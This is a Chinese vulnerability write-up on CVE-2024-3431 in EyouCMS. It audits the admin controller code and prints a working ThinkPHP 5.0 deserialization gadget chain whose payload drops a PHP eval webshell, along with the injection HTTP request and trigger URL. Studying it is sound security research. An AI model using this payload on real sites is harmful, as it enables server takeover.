CVE-2024-3431 EyouCMS 反序列化漏洞研究分析
易优内容管理系统(EyouCms) 隶属于海口快推科技有限公司,专注中小型企业信息传播解决方案,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力。EyouCms 是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)。以模板多、易优化、开源而闻名,是国内新锐的 PHP 开源网站管理系统,也是最受用户好评的 PHP 类 CMS 系统。
EyouCms版本v.1.5.6在后台组件文件/login.php?m=admin&c=Field&a=channel_edit中,通过channel_id参数进行反序列化,可远程执行命令。
版本要求:<=v1.5..6
EyouCMS 下载地址 更新日志-易优CMS
情报分析
NVD - CVE-2024-3431
根据CVE官方提供的信息来看漏洞影响路径是/login.php?m=admin&c=Field&a=channel_edit,且我们拿到了关键的信息,漏洞的类型是反序列化。看到这个路径我们大胆的猜测一下a是不是代表着action-方法,c就是对应的控制器。那么m呢,这个可能是对应的模块。
在下方的参考链接中,寻找是否有可用的poc
看来作者设置了访问权限,无法查看。后面就没有什么可用的信息了。
源码分析
既然没有poc可用,我们就要分析分析源码了
EyouCMS 下载地址 更新日志-易优CMS 下载版本v1.5.6 顺便在本地部署一下。
直接访问页面显示数据不存在。看看源码是怎么回事,是还要传什么参数吗!
漏洞点位于\application\admin\controller\Field.php,下面是channel_edit的源码
/*** 编辑-模型字段*/
public function channel_edit()
{$channel_id = input('param.channel_id/d', 0);// if (empty($channel_id)) {// $this->error('参数有误!');// }
if (IS_POST) {if (empty($channel_id)) $this->error("请选择所属模型");
$post = input('post.', '', 'trim');$post['id'] = intval($post['id']);
if ('checkbox' == $post['old_dtype'] && in_array($post['dtype'], ['radio', 'select'])) {$fieldtype_list = model('Field')->getFieldTypeAll('name,title', 'name');$this->error("{$fieldtype_list['checkbox']['title']}不能更改为{$fieldtype_list[$post['dtype']]['title']}!");}
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^type/', $post['name'])) {$this->error("字段名称不允许以type开头!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}
$info = model('Channelfield')->getInfo($post['id'], 'ifsystem');if (!empty($info['ifsystem'])) {$this->error('系统字段不允许更改!');}
// 字段类型是否具备筛选功能if (empty($post['IsScreening_status'])) {$post['is_screening'] = 0;}
$old_name = $post['old_name'];/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);foreach ($dfvalueArr as $key => $val) {$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);/*--end*/
if ('region' == $post['dtype']) {if (!empty($post['region_data'])) {$post['region_data'] = ['region_id' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_id']),'region_ids' => preg_replace('/([^\d\,]+)/i', '', $post['region_data']['region_ids']),'region_names' => preg_replace("/([^\x{4e00}-\x{9fa5}\,\,]+)/u", '', $post['region_data']['region_names']),];$post['dfvalue'] = $post['region_data']['region_id'];$post['region_data'] = serialize($post['region_data']);} else {$this->error("请选择区域范围!");}} else {/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/unset($post['region_data']);}
/*当前模型对应的数据表*/$table = Db::name('channeltype')->where('id', $post['channel_id'])->getField('table');$tableName = $table . '_content';$table = PREFIX . $tableName;/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($table, $post['name'], $channel_id, array($old_name))) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/
if (empty($post['typeids'])) {$this->error('请选择可见栏目!');}
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {$whereArr = [];$dfvalueArr = explode(',', $dfvalue);foreach($dfvalueArr as $key => $val){$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";}$whereStr = implode(' AND ', $whereArr);if (in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {if (!empty($dfvalueArr[0])) {$new_dfvalue = $dfvalueArr[0];$old_dfvalue_arr = explode(',', $post['old_dfvalue']);if (!in_array($new_dfvalue, $old_dfvalue_arr)) {$new_dfvalue = NULL;}} else {$new_dfvalue = NULL;}} else {$new_dfvalue = '';}Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);}/*end*/if ("checkbox" == $post['dtype']){$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行编辑字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$sql = " ALTER TABLE `$table` CHANGE COLUMN `{$old_name}` $ntabsql ";try {$r = @Db::execute($sql);} catch (\Exception $e) {$this->error('该数据类型不支持切换');}if (false !== $r) {
/*针对单选项、多选项、下拉框:修改之前,将该字段不存在的值都更新为默认值第一个*/if (in_array($post['old_dtype'], ['radio', 'select', 'checkbox']) && in_array($post['dtype'], ['radio', 'select', 'checkbox'])) {$whereArr = [];$new_dfvalue = '';$dfvalueArr = explode(',', $dfvalue);foreach($dfvalueArr as $key => $val){if ($key == 0) {$new_dfvalue = $val;}$whereArr[] = "CONCAT(',', `{$post['name']}` ,',') NOT LIKE '%,{$val},%'";}$whereArr[] = "(`{$post['name']}` is NULL OR `{$post['name']}` = '')";$whereStr = implode(' AND ', $whereArr);Db::name($tableName)->where($whereStr)->update([$post['name']=>$new_dfvalue]);}/*end*/
/*保存更新字段的记录*/if (!empty($post['region_data'])) {$dfvalue = $post['region_data'];unset($post['region_data']);}$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'update_time' => getTime(),);$data = array_merge($post, $newData);Db::name('channelfield')->where(['id'=>$post['id'],'channel_id'=>$channel_id])->cache(true, null, "channelfield")->save($data);/*--end*/
/*保存栏目与字段绑定的记录*/$field_id = $post['id'];model('ChannelfieldBind')->where(['field_id' => $field_id])->delete();$typeids = $post['typeids'];if (!empty($typeids)) {/*多语言*/if (is_language()) {$attr_name_arr = [];foreach ($typeids as $key => $val) {$attr_name_arr[] = 'tid' . $val;}$new_typeid_arr = Db::name('language_attr')->where(['attr_name' => ['IN', $attr_name_arr],'attr_group' => 'arctype',])->column('attr_value');!empty($new_typeid_arr) && $typeids = $new_typeid_arr;}/*--end*/$addData = [];foreach ($typeids as $key => $val) {if (1 < count($typeids) && empty($val)) {continue;}$addData[] = ['typeid' => $val,'field_id' => $field_id,'add_time' => getTime(),'update_time' => getTime(),];}!empty($addData) && model('ChannelfieldBind')->saveAll($addData);}/*--end*/
/*重新生成数据表字段缓存文件*/try {schemaTable($table);} catch (\Exception $e) {}/*--end*/
$this->success("操作成功!", url('Field/channel_index', array('channel_id' => $post['channel_id'])));} else {$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false === Db::execute($sql)) {$this->error('操作失败!');}}}
$id = input('param.id/d', 0);$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);if (empty($info)) {$this->error('数据不存在,请联系管理员!');exit;}...
在675行的确有序列化的操作。
漏洞研究
那么我们的思路就很明显了
1,查看$info['dfvalue']是否为可控变量
2,在本系统中找到一条可以反序列化的链
反序列化链分析
先考虑下我们的反序列化链。
思路:可以尝试挖掘一下本系统的链...。[挖掘链子还是很费功夫的...]
看了介绍这是一个基于thinkphp二次开发的系统且thinkphp的版本是5.0,那么我们的思路就来了
在之前的文章中,我介绍了ThinkPHP5.0.0~5.0.23的一条反序列化利用链,其中还涉及到了死亡绕过的技巧。这次我们就可以用上了
ThinkPHP5.0.0~5.0.23反序列化利用链分析_thinkphp 5.0.23 反序列化-CSDN博客
生成链的payload
<?php
namespace think\process\pipes {class Windows {private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)public function __construct($files){$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类}}
}namespace think {abstract class Model{protected $append = [];protected $error = null;public $parent;function __construct($output, $modelRelation){$this->parent = $output; //$this->parent=> think\console\Output;$this->append = array("xxx"=>"getError"); //调用getError 返回this->error$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne}}
}namespace think\model{use think\Model;class Pivot extends Model{function __construct($output, $modelRelation){parent::__construct($output, $modelRelation);}}
}namespace think\model\relation{class HasOne extends OneToOne {}
}
namespace think\model\relation {abstract class OneToOne{protected $selfRelation;protected $bindAttr = [];protected $query;function __construct($query){$this->selfRelation = 0;$this->query = $query; //$query指向Query$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量}}
}namespace think\db {class Query {protected $model;function __construct($model){$this->model = $model; //$this->model=> think\console\Output;}}
}
namespace think\console{class Output{private $handle;protected $styles;function __construct($handle){$this->styles = ['getAttr'];$this->handle =$handle; //$handle->think\session\driver\Memcached}}
}
namespace think\session\driver {class Memcached{protected $handler;function __construct($handle){$this->handler = $handle; //$handle->think\cache\driver\File}}
}namespace think\cache\driver {class File{protected $options=null;protected $tag;function __construct(){$this->options=['expire' => 3600,'cache_subdir' => false,'prefix' => '','path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php','data_compress' => false,];$this->tag = 'xxx';}}
}namespace {$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());$Output = new think\console\Output($Memcached);$model = new think\db\Query($Output);$HasOne = new think\model\relation\HasOne($model);$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));echo serialize($window);echo "<br>";echo base64_encode(serialize($window));
}
生成结果
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}} TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=
先用payload在本地测试一下
$a="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ4eHgiO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTozNjAwO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjEyMjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlRVDFOVVd5ZGpZMk1uWFNrN1B6NGcvLi4vYS5waHAiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MzoieHh4Ijt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX1zOjY6InBhcmVudCI7cjoxMTt9fX0=";echo unserialize(base64_decode($a));
程序运行不久后生成了我们的木马文件
这证明了我们的链子是可以被利用的!
参数可控分析1
那么接下来就是要考虑$info['dfvalue']是否可控的问题了!可控就代表着该系统的确存在一条反序列化RCE的漏洞。
思路:
1,源码看起
2,黑盒测试+断点调试 通过不断的提交数据反复对比,看看前端功能页面的那个参数对应了这个字段,
3,翻官方提供的开发手册(如果有的话)
开始审代码咯。(下面是简约版,不影响的代码都删除了。//-- 是我写的注释信息可供参考)
public function channel_edit(){
$channel_id = input('param.channel_id/d', 0);// if (empty($channel_id)) {// $this->error('参数有误!');// }
//--不是POST这段代码直接省略$id = input('param.id/d', 0);$info = model('Channelfield')->getInfoByWhere(['id'=>$id,'channel_id'=>$channel_id]);//--这段涉及数据库查询if (empty($info)) {$this->error('数据不存在,请联系管理员!');//--查询后的数据不能为空exit;}if (!empty($info['ifsystem'])) {//--查询后的数据字段ifsystem要为0$this->error('系统字段不允许更改!');}
//--这些都不不影响
if ('region' == $info['dtype']) {//-- 查询后的数据字段dtype要为'region'// 反序列化默认值参数$dfvalue = unserialize($info['dfvalue']);
方法channel_edit中的unserialize数据$info['dtype']来源涉及到数据库查询,查询的条件是$channel_id与$id。这两个是参数是用户可以输入的。
参考一下channel_id表结构...
通过源码来看若想实现的我们的反序列化数据执行,我们要考虑下面这几件事。
1,输入的$channel_id $id 是这张表的查询条件,
2,查询后的数据不能为空
3,查询后的数据字段ifsystem要为0
4,查询后的数据字段dtype要为'region'
5,要让返回dfvalue成为序列化数据
看看能否通过用户输入数据来影响这张表,或者sql注入也是可以考虑的。
参数可控分析2
那么接下来的思路:在源码中找寻调用此表的更新操作,看看能否更新dfvalue。
在同类的方法中arctype_add中,我们找到了疑似表channelfield的更新操作
开始代码审计咯(这里是源码-未动)
/*** 新增-栏目字段*/
public function arctype_add()
{$channel_id = $this->arctype_channel_id;if (empty($channel_id)) {$this->error('参数有误!');}
if (IS_POST) {$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}
/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);foreach ($dfvalueArr as $key => $val) {$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);/*--end*/
/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/
/*栏目对应的单页表*/$tableExt = PREFIX . 'single_content';/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/if ("checkbox" == $post['dtype']){$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行新增字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$table = PREFIX . 'arctype';$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false !== Db::execute($sql)) {/*保存新增字段的记录*/$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'ifmain' => 1,'ifsystem' => 0,'sort_order' => 100,'add_time' => getTime(),'update_time' => getTime(),);$data = array_merge($post, $newData);$field_id = Db::name('channelfield')->insertGetId($data);/*--end*/
/*保存栏目与字段绑定的记录*/$typeids = $post['typeids'];if (!empty($typeids)) {/*多语言*/if (is_language()) {$attr_name_arr = [];foreach ($typeids as $key => $val) {$attr_name_arr[] = 'tid' . $val;}$new_typeid_arr = Db::name('language_attr')->where(['attr_name' => ['IN', $attr_name_arr],'attr_group' => 'arctype',])->column('attr_value');!empty($new_typeid_arr) && $typeids = $new_typeid_arr;}/*--end*/$addData = [];foreach ($typeids as $key => $val) {if (1 < count($typeids) && empty($val)) {continue;}$addData[] = ['typeid' => $val,'field_id' => $field_id,'add_time' => getTime(),'update_time' => getTime(),];}!empty($addData) && model('ChannelfieldBind')->saveAll($addData);}
/*重新生成数据表字段缓存文件*/try {schemaTable($table);} catch (\Exception $e) {}/*--end*/
\think\Cache::clear('channelfield');\think\Cache::clear("arctype");$this->success("操作成功!", url('Field/arctype_index'));}$this->error('操作失败');}
/*字段类型列表*/$fieldtype_list = [];$fieldtype_list_tmp = model('Field')->getFieldTypeAll('name,title,ifoption');foreach ($fieldtype_list_tmp as $key => $val) {if (!in_array($val['name'], ['file','media','region'])) {$fieldtype_list[] = $val;}}$assign_data['fieldtype_list'] = $fieldtype_list;/*--end*/
/*模型ID*/$assign_data['channel_id'] = $channel_id;/*--end*/
/*允许编辑的栏目*/$allow_release_channel = Db::name('channeltype')->column('id');$select_html = allow_release_arctype(0, $allow_release_channel);$this->assign('select_html', $select_html);/*--end*/
$this->assign($assign_data);return $this->fetch();
}
下面的我写的说明注释版//-- 为我写的注释
/*** 新增-栏目字段*/public function arctype_add(){$channel_id = $this->arctype_channel_id;if (empty($channel_id)) {$this->error('参数有误!');}
if (IS_POST) {//--我们进入POST代码$post = input('post.', '', 'trim');
if (empty($post['dtype']) || empty($post['title']) || empty($post['name'])) {$this->error("缺少必填信息!");}//--这几个字段都要输入 dtype=xx&title=xx&name=xxx
if (!preg_match('/^(\w)+$/', $post['name']) || 1 == preg_match('/^([_]+|[0-9]+)$/', $post['name'])) {$this->error("字段名称格式不正确!");} else if (preg_match('/^ey_/', $post['name'])) {$this->error("字段名称不允许以 ey_ 开头!");}//--判断name是否合法 我们直接user就可以了
/*去除中文逗号,过滤左右空格与空值*/$dfvalue = str_replace(',', ',', $post['dfvalue']);if (in_array($post['dtype'], ['radio','checkbox','select','region'])) {$pattern = ['"', '\'', ';', '&', '?', '='];$dfvalue = func_preg_replace($pattern, '', $dfvalue);}$dfvalueArr = explode(',', $dfvalue);//--不影响我们的dfvalueforeach ($dfvalueArr as $key => $val) {//--不看$tmp_val = trim($val);if (empty($tmp_val)) {unset($dfvalueArr[$key]);continue;}$dfvalueArr[$key] = $tmp_val;}$dfvalueArr = array_unique($dfvalueArr);$dfvalue = implode(',', $dfvalueArr);//-- 不影响$dfvalue/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}/*默认值必填字段*/$fieldtype_list = model('Field')->getFieldTypeAll('name,title,ifoption', 'name');//-- 这里可以参考一下数据库if (isset($fieldtype_list[$post['dtype']]) && 1 == $fieldtype_list[$post['dtype']]['ifoption']) {//当字段ifoption 为1时$dfvalue 这就是我们需要的if (empty($dfvalue)) {$this->error("你设定了字段为【" . $fieldtype_list[$post['dtype']]['title'] . "】类型,默认值不能为空! ");}}/*--end*/
//-- dtype=region&title=xx&name=xxx&$dfvalue={{序列化数据}}/*栏目对应的单页表*/$tableExt = PREFIX . 'single_content';/*--end*/
/*检测字段是否存在于主表与附加表中*/if (true == $this->fieldLogic->checkChannelFieldList($tableExt, $post['name'], 6)) {$this->error("字段名称 " . $post['name'] . " 与系统字段冲突!");}/*--end*/if ("checkbox" == $post['dtype']){//--不看$dfvalue = explode(',', $dfvalue);if (64 < count($dfvalue)){$dfvalue = array_slice($dfvalue, 0, 64);}$dfvalue = implode(',', $dfvalue);}/*组装完整的SQL语句,并执行新增字段*/$fieldinfos = $this->fieldLogic->GetFieldMake($post['dtype'], $post['name'], $dfvalue, $post['title']);$ntabsql = $fieldinfos[0];$buideType = $fieldinfos[1];$maxlength = $fieldinfos[2];$table = PREFIX . 'arctype';$sql = " ALTER TABLE `$table` ADD $ntabsql ";if (false !== Db::execute($sql)) {//-- 要先使这个sql执行没有错误/*保存新增字段的记录*/$newData = array('dfvalue' => $dfvalue,'maxlength' => $maxlength,'define' => $buideType,'ifmain' => 1,'ifsystem' => 0,'sort_order' => 100,'add_time' => getTime(),'update_time' => getTime(),);$data = array_merge($post, $newData);$field_id = Db::name('channelfield')->insertGetId($data);//--我们的想要的执行的语句
总结上面的
我们需要POST传参type,title,name,dfvalue考虑到我们的目的,
我们要传的参数数据 type=region&title=xxx&name=xxx&$dfvalue={{序列化数据}}
951行会对dype做一次校验,
得到所有类型后,判断你输入的dtype是都在fieldtye_list中其次判断先对应的ifoption要为1
跟入getFieldTypeALL
注意返回的数据会被convert_arr_key转为二维数组
参考下数据库
dtype=要为上面的字段name其中的一种,而region就在其中,且ifoption是为1的
漏洞测试与研究
数据打入
好了!现在准备开始打入数据了
POST /EyouCMS-V1.6.5-UTF8-SP1/login.php?m=admin&c=Field&a=arctype_add HTTP/1.1 Host: 127.0.0.1 Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=r7v9r023ssq6au54hrr8jj44kl; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; admin-treeClicked-Arr=%5B%5D; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS-V1.6.5-UTF8-SP1%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=welcome%7CIndex; XDEBUG_SESSION=16574 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 855 dtype=text&title=bbb&name=aaa&dfvalue=O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}
这里遇到一个问题
在执行if (false !== Db::execute($sql)) { 出错了
ALTER TABLE ey_arctype
ADD xx2
varchar(500) NOT NULL DEFAULT '{{poc}}' COMMENT 'xx1';
通过排查sql 也没有什么错误啊,一直抛错误
可能我这个数据有点奇怪吧,本地执行以下看看
啊......... 原来如此 是varchar(500)有限制长度的我输入反序列化数据已经超过500了,所以无法插入
那我们先删除一些数据,简单的测试下
字段dfvalue成功插入我们的数据
漏洞触发
接下来就是触发漏洞了需要注意的是channel_id与id。通过上面的方式 channel_id是默认的-99
而id是这个与前端的ID值是同步的,我们可以参考这个。
访问/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1
调试看一下是否能真正的触发
反序列化漏洞测试完成,比较可惜的是这段序列化数据有长度限制,没能完全将漏洞复现出来。
如果还有其它短一点的序列化链就好了!或者参考CTF中的奇思妙想将这条链给简化更短点也是可以的......
相关文章:
CVE-2024-3431 EyouCMS 反序列化漏洞研究分析
易优内容管理系统(EyouCms) 隶属于海口快推科技有限公司,专注中小型企业信息传播解决方案,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力。EyouCms 是一个自由和开放源码的内容管理系统,它是一个可以独立使用的…...
C# wpf
学习网址:控件的父类们 - WPF中文网 - 从小白到大佬 控件的父类: 由此我们可以得出结论,控件的父类们(准确的说,应该叫父类的父类的父类),至少有如下几个类型: DispatcherObjectDependencyObjectVisualU…...
十一、引用与拷贝函数(References the Copy-Constructor)
十一、引用与拷贝函数(References & the Copy-Constructor) 11.1 指针回顾(Review of pointers) 指针可以保存一个地址。 当你定义一个指针时,必须指定它所指向变量的类型,并且应该初始化它。 示例&a…...
数据结构之顺序表
目录 1.线性表 1.1 线性表的定义:零个或多个数据元素的有限序列。 1.2深度解析 1.3 线性表的抽象数据类型 2.顺序表 2.1 顺序表的定义和存储方式 2.2静态顺序表 2.2.1 静态顺序表的使用 2.2.3 为什么我们要使用typedef呢? 2.2.4 为什么我们要使…...
